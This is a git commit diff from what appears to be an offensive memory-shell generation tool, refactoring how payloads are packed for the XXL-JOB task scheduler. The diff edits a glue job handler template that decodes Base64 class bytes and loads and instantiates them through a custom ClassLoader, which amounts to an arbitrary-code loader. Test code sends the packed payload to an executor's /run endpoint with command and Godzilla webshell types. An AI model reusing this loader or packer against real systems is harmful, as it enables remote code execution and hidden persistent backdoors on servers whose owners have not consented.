refactor: simplify XXLJOB packer

This commit is contained in:
ReaJason
2025-01-23 08:25:44 +08:00
parent 706f5ad37d
commit ee118bd139
5 changed files with 9 additions and 50 deletions
@@ -84,13 +84,9 @@ public interface Packer {
Velocity(new VelocityPacker()), Velocity(new VelocityPacker()),
AgentJar(new AgentJarPacker()), AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()), XxlJob(new XxlJobPacker()),
XxlJob230(new XxlJob230Packer()),
; ;
private final Packer packer; private final Packer packer;
@@ -1,30 +0,0 @@
import com.xxl.job.core.handler.IJobHandler;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}
public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}
public void execute() throws Exception {
String base64Str = "{{base64Str}}";
String className = "{{className}}";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
}
}
@@ -1,6 +1,8 @@
import com.xxl.job.core.biz.model.ReturnT; import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler; import com.xxl.job.core.handler.IJobHandler;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler { public class DemoGlueJobHandler extends IJobHandler {
public static class Definder extends ClassLoader { public static class Definder extends ClassLoader {
@@ -13,6 +15,10 @@ public class DemoGlueJobHandler extends IJobHandler {
} }
} }
public void execute() throws Exception {
execute(null)
}
public ReturnT<String> execute(String param) throws Exception { public ReturnT<String> execute(String param) throws Exception {
String base64Str = "{{base64Str}}"; String base64Str = "{{base64Str}}";
String className = "{{className}}"; String className = "{{className}}";
@@ -20,23 +26,11 @@ public class DemoGlueJobHandler extends IJobHandler {
Class.forName(className); Class.forName(className);
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
try { try {
new Definder().defineClass(decodeBase64(base64Str)).newInstance(); new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
} catch (Throwable ee) { } catch (Throwable ee) {
ee.printStackTrace(); ee.printStackTrace();
} }
} }
return ReturnT.SUCCESS; return ReturnT.SUCCESS;
} }
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
} }
@@ -144,7 +144,6 @@ public class ShellAssertionTool {
case Deserialize -> VulTool.postData(url + "/java_deserialize", content); case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
case Base64 -> VulTool.postData(url + "/b64", content); case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content);
} }
} }
} }
@@ -39,8 +39,8 @@ public class XxlJob230ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob230), arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob),
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob230) arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob)
); );
} }